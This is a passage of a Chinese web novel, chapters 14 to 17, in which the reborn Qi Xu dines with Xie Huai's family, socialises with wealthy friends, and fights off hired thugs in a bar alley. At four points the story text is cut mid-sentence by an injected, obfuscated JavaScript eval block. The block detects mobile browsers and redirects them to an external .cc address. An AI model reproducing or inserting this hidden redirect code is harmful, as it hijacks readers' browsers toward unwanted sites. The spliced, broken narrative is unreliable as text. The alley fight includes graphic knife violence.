谢淮:“人是这样走路?” 戚栩:“你管我。” 管不着,那就是吃饭。 戚栩坐在谢家餐桌上才有实感,他真的是来吃饭。 餐桌上坐着这两人,从认识到现在拢共见了四次,几乎每次都有意外发生,不知是气场不和还是八字不合。 明明上一世的暑假除了在方倩生日宴见面,直到开学两人都没有见过。 也是,前世他没来爷爷家。 戚栩还在想上一世的事情,听见谢淮说:“不知道你来,今天的饭菜都是我的口味,下一次提前告诉我。” 戚栩扫了一眼餐桌上的饭菜,没有他特别喜欢吃的。 “没有下次。” 话音刚落,佣人进来通报说隔壁沈家派人过来。 戚栩以为佣人确认自己的安全,觉得院里的人还挺关心他。 没曾想,远远的他就闻到药膳的味道,直到那个让人胆颤的炖盅出现在他的面前。 …… 怎么追到别人家里让他喝汤,这汤非喝不可吗。 谢淮看到戚栩生无可恋的表情,难得在对方脸上看到这么生动的神色。 他淮瞅了一眼炖盅里黑乎乎像药一样的汤,移开眼神问戚栩:“生病了?” 戚栩好声没好气地说:“没。” 沈家佣人替他解释:“小少爷虚,这是每日补品。” 戚栩察觉到谢淮上下打量,最后停留在他腰的位置,意味深长:“那得多补补。” 14. 第 14 章 最后戚栩眼睛一闭,一口气把补品喝完,睁开眼睛对上屏幕里那双不笑也有鱼尾纹的眼睛,还有后面帮着拿手机一脸看戏模样的谢淮。 “非要我看着才喝,真是一刻都离不开人。”沈老爷子严谨得很,“阿淮,你举着手机让我看看他的盅底,这小子狡猾,每次都得剩一口。” 谢淮反转镜头对着炖盅底,沈老爷子还没有看到画面,他就说:“沈爷爷,还有一口没喝,海参也没吃。” 戚栩:“……你是什么告状精。” 谢淮闻言抬头:“实话实说。” 沈老爷子气得吹鼻子蹬脸,胡子都要飞起来:“戚栩,赶紧给我喝了,阿淮帮我一个忙,监督他把炖盅里东西吃完。” 谢淮莫名地乖巧:“沈爷爷您放心,保证完成任务。” 沈老爷子转头对谢老爷子说:“还是你家孙子乖。” 戚栩:“……” 眼神不好的人才会觉得这人乖。 这样想着,戚栩和屏幕里的另一个老人对视。 谢炳康,谢家名副其实的主心骨,与沈德宏不同,至今谢老手上还有谢家的实权,还没有完全放手给子孙。 上一世谢淮从国外回来继承谢家的商业帝国,谢老才彻底地放手把家族实权交给他。 一双年轻且平和的眼睛和一双苍老且炯炯有神的眼睛相望,不约而同都看出了对方听到这句话的可笑。 老人银眉鹤发,端着茶盏虚拂去茶沫,袖口处的金丝刺绣显得格外贵气。 戚栩喊了一声:“谢爷爷。” 谢老忽然表态,对沈老说:“你孙子也挺乖的。” 对此沈老头子有话说:“你可别被这小子乖巧相貌所蒙骗,他可是一点都不会吃亏的人,他呀,偷偷把我的茶杯里茶换成他的药膳,说什么有福同享……” 话还没有说完,戚栩抬手挂断了这个从一开始就不该接的视频通话。 然后拿过手机,懒洋洋地朝对面发了条语音:“爷爷,网不好,回家再说。” 说完后他把手机收起来,眼不见心不烦。 喝完一盅炖汤,戚栩看着一桌子菜毫无食欲,怪不得老中医让他吃完饭再喝。 谢淮见戚栩迟迟不动筷,对着碗里的那一口汤视死如归的模样,失笑:“很难喝?” 戚栩把碗往他的方向推了推:“你可以试试。” 谢淮婉拒了:“没这个福气和你有福同享,而且……” 他看着戚栩说:“我不虚。” 戚栩见不得他信誓旦旦地说这句,哂笑:“虚不虚不是你说了算。” 上一世他知道有不少莺莺燕燕往谢淮身边凑,他也见过很多次,但谢淮每次出席宴会都形影单只,没有男伴也没有女伴。 所以圈子里开始传谢淮和沈泽予是不是在国外已经定情,没过多久,沈泽予出来回应说他和谢淮只是挚友。 挚友这个词就很微妙,每个人都有不同的定义。 另一个当事人倒是一句话也没说,像是默认。 直到戚栩死之前,也没有看到沈谢两家的好事。 谢淮轻描淡写地哦了声,而后道:“也轮不着你说。” 关于虚不虚话题就此结束,谁也无法得出结论。 不一会儿,南丰捧着一碟酸甜排骨放在戚栩面前:“戚少爷,请慢用。” 谢淮扫了一眼:“小孩子口味。” 戚叙喜甜又喜酸,酸甜酱是他的第一选择。 他夹起一块排骨放到碗里,面无表情:“好棒呦,你是成年人。” 吃了一块酸甜排骨把戚栩的胃口打开了点,有一口没一口地吃着。 餐桌上的两人没再说话,难得心平气和地吃自己的饭。 戚栩注定要打扰到底,吃完饭后,南丰又递上圣女果和菠萝。 正是戚栩爱吃的两样水果。 不吃白不吃,戚栩拿起叉子继续吃水果,眼睛细细观察着这座百年老宅,却陷入了沉思。 这是他第二次和谢淮同桌吃饭,放在以前,这人在主位,他隔了十万八千,勉强能看到个影。 不是每个人都能够走到谢淮面前,戚栩做不出低头哈腰,赔笑这活,他做不出,大有人做。 同时他也听过不少凭借和谢淮一杯酒的交情,事业步步高升扶摇直上。 戚栩刚好是敬酒被回绝的那一拨人,从此他再也没和谢淮敬过酒。 有一次在两家的庆功宴上,戚栩让李恺兴替他去敬酒,后者高高兴兴去了,回来的时候酒杯也空了,说谢总平易近人。 戚栩冷笑,放屁。 吃完水果戚栩起身告别,他和“平易近人”的谢淮没什么好聊的。 谢淮看着他又变成了那个冷漠样,顺手拿起那根价值不菲的拐杖挡在了戚栩面前。 戚栩第一次见拦路障比本人的身价还要值钱。 他低头看谢淮:“谢少,有何指教?” 谢淮收起拐杖,柄身不经意擦过戚栩的小腿,他不咸不淡地说:“收起你戴面具那套。” 戚栩觉得好笑:“我现在是哪套?” “之前见的两次装作不认识我。”谢淮眼神微厉,“在生日宴上浑身长满刺地对着我,传承了变脸?” “你怎么知道我认识你?” “如果不知道我是谁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122226|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你怎么提前带上帽子前往生日宴,难不成每天都带着。” 戚栩没个正经:“是啊,每天都带着,想偶遇你,不行啊。” 谢淮倒也没觉得这话荒唐,只是淡淡道:“以后少看学校贴吧。” 戚栩心说,不看怎么知道你和沈泽予的关系从高中就这么要好。 他过于直白:“害怕我把你早恋的事告诉谢爷爷?” 谢淮森然一笑,笑意未达眼底:“谁告诉你我谈恋爱了?” 谢淮为人敢做敢当,要是真谈了,不至于不给某个人名分。 高中没有在一起,那可能如传言所说,大学毕业后在国外定情。 “没人说。”戚栩装傻,“你那高中贴吧上面都是这么写的,校花校草,谢少的情史还挺多。” 谢淮盯了他几秒,才说:“想知道什么问徐亦辰,比贴吧靠谱。” 这话说得他好像和他们几个人很熟似的,见过一面联系方式都没有。 别说现在,以前他也只是和方倩深聊过几句,他们那个圈子就不是他能进去的。 当然,戚栩从来没想过进,各自有各自的圈子,互不打扰,过自己的生活,两条完全不相交的平行线。 “没什么想知道的,你走你……” 话截然而止,谢淮的手机响了起来,他看了一眼来电显示没接。 自动挂断后,对方锲而不舍地继续打来。 谢淮接通之后语气不耐:“你最好有事。” “我怀疑戚栩被沈家人藏起来,我打听到沈家人对戚栩打了宋若明这件事大发雷霆,我问沈泽予他什么也不说,虽说是家人,保不准他们搞惩罚禁足这套,他们会不会不给戚栩饭吃啊,报警吧,说他们虐待儿童。” 戚栩见谢淮在打电话,正是离开的好时机,毫不留恋转身就走。 “戚栩。” 戚栩不明所以闻言看过去,谢淮把手机递过去:“吱一声,不然有人替你要报警,全网散布寻人启事。” 手机屏幕上徐亦辰三个字,戚栩一心想着走不想和对方多说什么,凑过去张嘴:“吱。” 没开免提,从听筒里传出徐亦辰气势汹汹的声音:“我艹,戚栩,你怎么和阿淮在一起,他把你囚禁起来了?别怕,我来救你。” 随后紧跟着方倩和蒋子慕的声音。 “什么玩意,囚禁文学?” “能让淮哥允许我画戚同学吗,很快,不耽误他的时间。” 戚栩嫌弃地推开手机:“我走,你让他们别来。” 谢淮点开免提,电话那头传来汽车的轰鸣声,不到一分钟,三人已经坐上了前往谢家老宅的车。 15. 第 15 章 半个小时后,徐亦辰,方倩和蒋子慕声势浩荡地走进谢宅,三人走出了三十人的动静,南丰在后面紧跟着。 “徐少爷,蒋少爷,方小姐,容我进去通报一声。” 徐亦辰闻言加快了脚步,振声道:“通风报信是吧,让我看看那黑心肝收了沈家什么好处,竟然对一个手无寸铁的年轻人做出这种……” 刚踏入里屋,咻的一下,飞镖针以迅雷不及掩耳之势从他跟前飞过。 徐奕辰愣在了原地,喉结不自觉上下滚动,慢慢地转头去看墙上的飞镖盘,正中红心。 他又去看扔飞镖的人,戚栩抱手歪头看着他,似笑非笑:“谁是手无寸铁的人?” 徐亦辰撤回这句话,他不该忘了戚栩是地表最强反手剪刀哥。 南丰大喘气地进来,幸好没出事:“两位少爷在玩飞镖,不通报进来容易误伤无辜。” 戚栩朝谢淮看去,语气无任何起伏,却听出催促的意思:“到你了。” 不知道谢淮的眼睛怎么长的,竟然看到了他埋藏于骨碟之下的海参。 他想走,谢淮却说陪他玩一局飞镖。 倒是不怕谢淮告状,而是他不想晚餐补上一根海参。 谢淮把玩着手里的飞镖,对上了三双眼巴巴的眼睛,大手一挥:“还剩下三支,你们一人扔一支。” 三人欣喜地接过,然后十分有兴致地围在了戚栩身边。 “你和阿淮比分是多少啊?” “平分。” “我还是第一次扔呢。” “加油。” “戚同学,我扔中了红心能让我观摩一下你的脸吗?” “……你说话有点像变态。” “对不起。” …… 然后,三个人扔中的飞镖分数都没有戚栩一支飞镖的分数高。 徐亦辰25分区,方倩脱靶,蒋子慕在不计分区。 戚栩一发击中20数字双倍区,得分为40。 4比1都没比得过人家,三人颓败地围坐在两人身边。 戚栩吃完饭犯困,倚在靠背上打了个哈欠,半眯着眼像是睡着了似的,手上盘珠子的动作也慢了下来。 徐亦辰自找欺辱:“戚栩,跟我们三个扔飞镖这么没瘾吗。” 戚栩单手撑着脑袋扫了他一眼:“知道就好,没什么事我回去了。” 徐亦辰义正言辞地说,“你别怕,阿淮是不是把你囚禁在这里,有什么委屈你可以和我说,我告诉谢爷爷,等会就把你安全带回家。” 戚栩用有病的眼神看着他:“徐少,你是不是狗血剧看多了,囚禁犯罪,隔壁就是我家,我能自己回去。” 徐亦辰又忘了,戚栩虽姓戚,人是沈家的真少爷,隔壁就是沈家老宅,谢家和沈家只是一墙之隔。 方倩嫌弃地看着徐亦辰:“你这狗脑袋,我还以为上演什么囚禁play。” 说着她快速扫了一眼戚栩和谢淮。 徐亦辰向谢淮控诉:“你怎么没和我说人就在你隔壁。” 谢淮弯了弯嘴角:“今天从天而降才知道在我隔壁。” 徐亦辰又问戚栩:“你还会跳伞啊。” “不会跳伞会跳大神,徐少有需求可以来找我。”戚栩困得很,把手串戴回手腕,又换了个舒服的姿势。 徐亦辰觉得戚栩说话忒有趣了,又打手又跳大神的。 他把手机拿出来:“加个联系方式,以后有活第一时间找你。” 戚栩的手机在隔壁院子,报了自己的电话号码,然后,方倩和蒋子慕也第一时间加上他的联系方式。 蒋子慕发送完好友申请后,点开了朋友圈,看到最新一条图文。 “宋若明出海举行派对,很多人都去了,沈泽予好像也在?” 方倩早在生日宴当天就把宋若明拉黑,她问:“你怎么没把他拉黑。” 蒋子慕说:“辰哥不是说让我找个机会把宋若明约出来,我时刻准备着,通过朋友圈观察他一举一动。” 方倩:“……” 徐亦辰凑过去看了一眼,游艇上倒是没有沈泽予的身影,码头合照有他。 “沈泽予怎么回事,这是明摆着和宋若明同流合污?” 方倩想了想说:“倒也不见得,沈家最近有批医疗器械需要和宋家合作,这个关键时刻沈宋两家装也要装作无事发生。” “宋若明刚出院没多久,额头还贴着纱布,这么着急笼络人心。”徐亦辰把手机还给蒋子慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122227|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这一看我们五个都没有受到邀请,这是孤立我们了?” 孤立这个词说过了,除去戚栩不说,刚到首都面都还没露几次,沈家也没有正式介绍过这个亲儿子,穿着一身价值不菲的衣服出去也没人认识。 其余四人中,蒋子慕家中并没有经商,母亲是方嘉城的亲妹妹,全家主力在蒋子慕的父亲身上,他是谢淮舅舅秦靖的得力下属,势头正旺,大有晋升机会。 虽然经常跟在三人身后,但圈子里并没有人看轻他,时过境迁,蒋家说不定就跳一跳。 更别说谢,徐,方三家,不管地位和势力都不可忽视,不少家族以这三家唯首是瞻。 平时和他们走得近的一些人并没有出现在这一次游轮派对中,宋若明在方家闹事,过后个个都在观望中,不想两边都得罪。 方倩熟络地从柜筒里拿出电视遥控器,打开面前的90英寸大电视:“随便吧,反正我也不想和他们玩,那一帮人像是有病似的,口无遮拦,脏得要命。” 蒋子慕认同表姐的话:“上一次他们想拉着我一起去,说什么有好看的人体模特,我进去一看,骷髅头似的,全是骨感没有美感。” 戚栩至此至终没有发表过任何意见,宛如沈家和他完全没有关系,在椅子上昏昏欲睡,正要睡着之际,察觉到小腿被碰了碰,半睁着眼睛看到眼熟的拐杖。 “困了就到躺椅上睡。” 三人是专门为他而来,人来了他离开也不好,聊上头了现在走也走不了,只能在这里打瞌睡。 戚栩不客气地躺在那张铺着软垫的躺椅上,闭着眼睛嘀咕了一句:“要不是你强留我,早回家躺在我的大床上睡午觉,你是不是觉少嫉妒我们这些觉多的人。” 说完听见拐杖杵地的声音。 “闲得慌嫉妒你,上楼尽头最后一间房,你也可以上去睡。” 戚栩莫名地想起沈泽予说过的那句“秦阿姨说谢家永远有我一个房间”。 他不屑地啧了一声:“我闲得慌,家里有主人房不睡,睡你家的客房。” 客厅里迟迟没有人说话,连带电视的声音都小了。 呼吸平稳睡着了的戚栩没有看到徐亦辰和方倩眼里诡异的情绪。 那可不是客房。 16. 第 16 章 戚栩睁开眼的时候只不过是半个小时之后,不在自己的地盘睡不安稳,始终没有进入深度睡眠。 屋内倒是安静,静悄悄,院子里清脆的鸟声萦绕耳边,刚刚在这里的四人不见了踪影。 自己身上不知道什么盖了一张小毯子,戚栩掀开毯子起身。 候在客厅的南丰看到戚栩醒来,走过来说道:“戚少爷,少爷他们在马场,我让人带你过去。” 谢家老宅和沈家老宅培育了无数的优秀子孙后代,为了方便两家子孙培养兴趣爱好,周边的马场,高尔夫球场,运动馆等等都是由两位太爷商议过后共同建立,内有国内各领域最优秀的老师教学。 只要是从谢家和沈家出身的人享有终身免费使用的权利。 戚栩伸了个懒腰:“你帮我告诉他们一声我回去了。” 南丰应声道:“好的。” 戚栩想到自己怎么说也在这里白吃了一顿饭,不告而别好像不太好,显得没礼貌。 “有纸和笔么?” 一个小时后,四人从马场回来,天这么热也没跑几圈,去看了一下自己心爱的小马就回来了。 小时候徐亦辰和方倩在马场里选了自己的马,这也是唯二两个不姓沈也不姓谢在马场拥有自己的马匹。 “戚栩这一觉睡得可真踏实啊,将近两个小时也没醒,是不是证明阿淮的躺椅好睡。” 徐亦辰走进屋内发现躺椅上的人凭空消失了,不是睡得安稳,而是跑了。 他问南丰:“人什么时候走的?” 南丰回:“一个小时之前。” 也就是在他们刚到马场没多久就醒了,徐义辰有些不悦:“怎么不去马场找我们。” 南丰对此解释:“戚少爷说自己不会骑马,不去打扰少爷们和小姐的兴致。” “说什么打扰不打扰,大家要一起玩才热闹。”徐亦辰不是对戚栩不满,而是说大家都这么熟了说这些表面客套话。 戚栩是谢家的客人,谢淮这位主人家对客人的离开没有太大的意外,自若地走到躺椅旁茶桌,俯下身拿起来一张长形便签纸—— 多谢款待。 落款的字体潇洒不逊,飘逸洒脱,看出来是有练字功底,但可能因为写字的人没什么耐心,四个字都是一笔成型连起来,看着倒有落笔一气呵成的大家风韵。 方倩走过去看了一眼:“戚栩留的字吗?还挺好看。” 蒋子慕是画画专业,身边不乏书香世家的朋友,说道:“这字应该有个好几年的功底。” 谢淮的眼神停留在纸张上,隐晦不明。 从小被酒鬼养父压迫,从初中开始自己打工赚学费的人,能有兴趣去学书法? 应该是没有的,连晚上自习都不上就为了打零工,寒暑假更是,早晨送牛奶,晚上在大排档当服务员,凌晨洗碗,一天好几份工,恨不得分身将一天拆成48小时。 这一手写出来需要大量的时间和深沉的底蕴,如果不是,说天赋异禀也不为过。 * 戚栩本以为三人当天匆匆赶来见他一面确认他的安全就回去,谁曾想到翌日这几人在他没醒的时候进入他的院子,像鬼子进村似的,对他院子里的器材下手。 徐亦辰更甚,滑步器械给他玩成无敌风火轮。 咯吱咯吱地终于吵醒了楼上的戚栩。 “你们几个私闯民宅,玩够了吗。”戚栩站在二楼阳台,臭着脸看着楼下三人。 徐亦辰抬头,脚下的动作却没有停下:“终于醒了,你院子像个养老院似的,真好玩。” 戚栩起床气旺盛:“给你送去警局更好玩。” “臭小子,来者是客,怎么说话的。”沈老爷子被人扶着人走进院里。 戚栩闻言看过去,和老爷子并肩走着的谢淮对视,不请自来的不止三个人。 半秒后戚栩移开眼神,若有所指:“爷爷,你怎么把这帮土匪山贼给放进来了。” 沈老夜气不打一处来:“你还真在我这养老是吧,除了睡就不做其他事,赶紧洗漱给我下来。” 戚栩无言扫了楼下院子一眼,转身进屋洗漱。 15分钟后,土匪们和主人家坐在餐桌一同用餐。 这几个人都是自来熟,明明是第一次来沈家老宅做客,不到半天就和老爷子有说有笑,比戚栩这个孙子更会逗老人开心。 身为孙子的戚栩无暇顾及,正心里不平衡中,其他人的炖盅里都是鲜美的炖汤,只有他是乌漆嘛黑的药汤。 徐亦辰发现了不同,随口问了一句:“你的汤怎么和我们不一样。” 戚栩立刻起身,给徐亦辰倒了一碗:“好东西,你试试。” 他继续拿起蒋子慕的碗说道:“喝了之后画画手都不抖。” 随后对上了方倩期待的眼神,戚栩没给她倒:“你身体好,不需要调理。” 一盅汤分给了两人,只剩下最后一口。 挂在戚栩脖子上的绳子立刻松了,得以喘一口气。 沈老爷子难得没有开口说制止的话,戚栩觉得奇怪,随即听到老爷子说:“戚栩在我这里一个多星期都没出过门,刚好你们来了,一起出去玩吧,别在家和我这个老头子待在一起,这小子看着都比我像八旬老人。” 徐亦辰真害怕戚栩这么一个花季少男过上养老生活:“沈爷爷,我今晚就约他出去玩。” 戚栩知道老爷子在为他铺路,在场四个人的家世拿出来哪个不是顶尖的。 前世亦是如此,只不过那时老爷子的身体已经病入膏肓,心有余力不足,况且沈枫凯已经拿到了沈氏大权成为当家人,戚栩想争,后续的支持跟不上,以至于自损一千伤敌八百。 戚栩看到在拐角处手上拿着炖盅的李叔,犹豫了两秒没说话,这一顿饭他没喝上药膳。 徐亦辰依旧兴奋地说着今晚的安排,不小心碰掉了碗里的汤勺,碗里还有汤,打湿了谢淮放在桌上的手。 餐桌一时兵荒马乱,当事人平稳地把旋转的勺子放回碟子里,继而不慌不忙地把汤碗往后推了推。 在佣人拿着餐巾走过来之际,谢淮面前递过来一块眼熟的手帕。 时隔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122228|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个星期再一次物归原主。 谢淮接过手帕,转手不知从哪里拿出个红色的球递给戚栩。 一物还一物。 徐亦辰见此心想:这怎么有种交换定情信物的即视感。 还好在沈老爷子的面前徐亦辰不至于口无遮拦。 有了沈老爷子的许可,徐亦辰打算今晚带戚栩去热热年轻人的场子。 他在群里发通知,说今晚消费由谢少买单。 然后把戚栩拉了进群。 谢淮看到99+的“谢少大气”,抬眸:“什么意思?” 徐亦辰撞了撞他的肩膀:“刚买了一辆跑车囊中羞涩,还好有你,淮。” 随后某位刚进群的少爷不甘落后,积极参与。 混吃等死:【谢少大气。】 谢少:“……” 他转头看向坐在旁边的戚栩:“我这里支持亲自开口服务。” 群里都在问新进来的是谁,戚栩看着手机头也没抬:“文字发出不支持退换。” 晚上,方倩临时换衣服迟了过来,到沈家的时候门口只剩下戚栩。 “他们先走了吗?” 戚栩给方倩打开后排的车门:“徐亦辰说前有三阳开泰,今晚他们三男开路。” …… 是徐亦辰这个狗脑子说的话。 方倩上车后问:“那你?” 戚栩面无表情:“我说我参与进去就是四世同堂,我当他爷爷。” 噗嗤一声,方倩捂着嘴笑了出来。 方倩对生日宴上戚栩的提醒抱有感谢。 她没想到这么多,也许是因为对方察觉到宋若明的意图,但又不确定,那天两人第一次见面,还好自己相信了他,不然以徐亦辰这个火爆的脾气说不定会干出什么事。 戚栩的话不多,依旧是那个相处习惯,别人问他答,听到方倩说起徐亦辰的糗事,不动声色地扯了扯嘴角。 即将抵达目的地,前方十字路口出现了小事故,直行路线堵塞,方倩提议靠边让他们下车走过去,也不远。 两人下车时,戚栩转头看了一眼身后,一辆破旧的面包车拐进了小路。 方倩穿着喇叭裤踩着小高跟鞋,走路的速度不快,戚栩比方倩走路的速度还要慢,单手插兜另一只拿出手机打开拍照功能,不经意往后拍了一张照片。 方倩突然放慢了脚步,等戚栩跟上后,虚挽住了他的手臂。 她轻声道:“有人在跟着我们。” 戚栩意外地看着方倩,似乎没想到对方这么警觉。 “嗯。” 离目的地还有一段路,这边又是酒吧一条街,人多且杂乱。 方倩低头在包里找东西:“哎,我的口红呢?你怎么没提醒我带。” 戚栩回:“不涂也这么好看。” 方倩嗔怪看着他:“都怪你。” 责怪的话语继续,两人都没有发觉从包里飘出一张百元大钞。 身后的人并没有停下脚步,仍然紧跟着他们。 不是为了钱,那就是为了人。 17. 第 17 章 包厢里,头顶的五彩灯光闪烁,以徐亦辰为中心,围着许多男男女女。 “辰哥,今晚什么活动?” “庆祝我们暑假只剩下半个月的活动。” 众人纷纷皱眉,满脸都是抗拒。 “你别哪壶不提提哪壶,我从没有发现两个月的时间眨眼就过了。” “以前上学度日如年,如今时间转瞬即逝,终于让我悟透了光阴似箭日月如梭。” 有女生偷偷扫了眼角落里平时不常出现的谢淮,又装作什么也没看到移开,红着脸问:“倩姐呢,怎么不见她。” 徐亦辰看了眼时间,刚刚发信息说已经到附近了,十分钟过去怎么还没到。 “应该快了,她带着我一个新朋友来,等会你们友善点,别吓着人家。” 有人问:“是不是说今天刚进群的那位?” 徐亦辰点了点头,但没说是谁,为戚栩保持神秘感。 蒋子慕给方倩打电话,但无人接听。 他和谢淮说:“淮哥,表姐没有接电话,我给戚同学……” 顿了下,蒋子慕颇为苦恼:“这部手机没有他的联系方式。” 他一般都是带私人手机,但私人手机没电了在床头柜充电,出门顺手拿了这部用于记录拍摄作画的手机。 谢淮拿出手机:“我给他打电话。” 蒋子慕口直心快:“你昨天不是没加他的联系方式吗?” 谢淮平静地道:“手机号码11位数,听一下就记住了。” 蒋子慕不禁感叹,原来这就是理科状元的脑子。 谢淮没有停顿地按下11位数字,拨打出去。 打通后对方迟迟没有接听,谢淮的表情肉眼可见地冷了下去。 就在电话自动挂断的前一秒,接通了。 “戚栩。” 对面并没有回应,只传来几声玻璃破碎的声音。 谢淮语气严肃:“徐亦辰,静音。” 徐亦辰迅速地把音乐关了,紧张地看着谢淮。 又传来几声吵杂和肮脏咒骂声,鞋子七零八落在地上摩擦的声音和一道急促的喘息声。 “酒吧后巷。” 谢淮听到戚栩的声音眉头紧蹙,随后一声“小心”响起,通话中断。 是方倩的声音。 谢淮捏着手机起身对徐亦辰说:“让老高他们马上到这边。” 老高是跟在谢淮的随身保镖,因为今天是私人活动,在车里并没有跟着一起过来。 徐义辰意识到不对连忙跟了上去,着急地说:“是不是出事?” “酒吧后巷。”谢淮言简意赅,不自觉加快了脚步。 酒吧后巷,方倩手上拿着防狼电击棒,脸上隐约有些跃跃欲试:“徐亦辰给我送的礼物终于有用上的一天。” 戚栩沉默地看着她,眼里有了一丝敬意。 巷子里站着六个人,人墙堵住屋檐下的灯光。 为首戴着金链子的花臂男看到方倩手上的东西不屑一笑:“这玩意弄在我身上没有一千也有几百,有个几把用。” 手下附和:“我们大哥怜香惜玉,娘们要想自保就别多管闲事往旁边站。” 他们的目标是戚栩,方倩闻言和当事人对视了一眼,一切都在不言中。 很明显,这些人只认得戚栩,并不认识方倩,可能是有人把照片发给他们,这些人负责收钱办事。 花臂男上下打量着戚栩这个小白脸,弱鸡似的,他一拳就能打倒,上头根本用不着派这么多人来对付他。 他朝身后的手下做了个动手的手势,油腻的眼神不安分地在方倩白皙的脸蛋上滑过:“这么漂亮的脸可别给老子弄花了,等会老子好好爽……” 话还没说完,戚栩随手拿起酒吧后门篮筐的空啤酒瓶,脸色阴沉,拎着酒瓶狠厉地抡在了花臂男的头上,惨叫声都来不及叫出来。 破碎声为信号,方倩踩着高跟鞋直接冲了上去:“老娘空手道黑带,你给我爽一下。” 戚栩还没来得及阻止方倩,只见她抬腿一个侧踢,尖锐的高跟鞋给了身后小弟一个爆头。 花臂老大头破血流,恶狠狠地瞪着戚栩,咬牙:“给我上!” 小弟们从腰后拿出刀具,冷光晃了一下戚栩的眼睛。 戚栩皱眉,拉着准备大展身手的方倩往巷子里跑。 口袋里的手机在震动,戚栩把方倩推进了小胡同,自己堵在了唯一的进口处。 他喘着气按下接听键,声音沙哑:“酒吧后巷。” 混混们已经追了上来,其中一个拿着水果刀朝戚栩冲来,方倩大惊失色:“小心。” 手机掉在地上,戚栩一把拿过方倩手上的防狼电击伸缩棍利索地甩开,侧身躲过那人手上的刀,戚栩抬手一挥,电击棍凶狠地落在混混的腰侧,随即他用巧劲儿卸下对方的刀。 受到电击的混混浑身一软,像气球人般轰然倒下。 刚刚被方倩放倒了一个,花臂老大满脸血被人扶着踉跄地走过来,瞧见这么快又没了一个手下,现场只剩下两个人。 戚栩蹲下来捡起地上的刀,抬眸看向花臂,目光阴鹜渗着寒意:“玩命?不至于吧,他不是让你们教训一下我吗?要是真出人命了,我属于正当防卫,无罪释放,而你们……” 说着他忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122229|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然笑了一下,拿起刀划了一下倒在地上混混的脸,鲜血直流。 花臂却从那双琥珀色眼眸中看出了狠厉和莫名的兴奋,产生了一丝恐惧,血液开始往头顶逆流。 疯子。 扶着他的混混被这一幕给吓到了,嗓子颤了颤:“老大…怎么办?” 收了钱不可能不办事,花臂把人往前推:“别用刀。” 三人扔下刀具,戚栩也扔下了手里的刀。 谢淮一行人赶到酒吧后巷时,横七竖八歪倒了一地人,还有个靠墙而坐,单脚屈膝嘴上咬着烟准备点燃的戚栩。 他踢了踢地上的人:“打火机。” 花臂哆嗦着手从口袋里拿出一个山寨zippo递给戚栩。 受害者和被害者的形象瞬间逆转。 在戚栩即将点燃烟时,一只节骨分明拿过他嘴里的烟,掐着戚栩的下巴,被拍仰着头。 在昏暗的灯光下,一双冷若寒潭的眼睛抬起,漠视着面前的人。 身后的人看清了戚栩嘴角鲜红的血丝以及额头上淤伤,对比着躺在地上的惨状,他受的是小伤。 下巴上的手不由自主地握紧,戚栩微微蹙眉偏头挣脱。 徐亦辰小跑着进来:“方倩呢?” 胡同里传来方倩的声音:“过来,扶我。” 徐亦辰脸色都白了,连忙上前查看,认真仔细检查方倩上上下下,发现她只是崴了脚,松了一口大气。 方倩走出来第一时间询问戚栩:“戚栩怎么样?” 徐亦辰扶着她说:“阿淮在他身边。” 老高等人清理现场,架着地上的人离开,戚栩动也没动,甚至连眼睛都没抬一下,长睫垂下,让人看不清表情。 徐亦辰一言不合在方倩面前蹲下:“上来。” 方倩的脚真疼,钻心窝的疼,她不客气地攀到了徐亦辰的背上。 蒋子慕则是像只盲头乌蝇似的,着急地在戚栩和方倩面前乱窜。 巷口已经准备了去医院的车,敞开着门等人上车。 等到地上的人被清理,谢淮才看到被压在下面的刀具,眼底一冷。 “肉搏还是火拼?” 戚栩的声音有些喑哑:“火拼就不用送医院,直接火葬场一条龙。” 谢淮定定地看着他,还有心思和他互呛,看来没什么大碍。 方倩已经上车了,徐亦辰站在车外急切地看着还有心情在案发现场聊天的两人。 戚栩的手有些脱力,撑着墙慢慢地起身,指骨上都是擦伤,更为严重的一只手,血沿着手背往下滴。 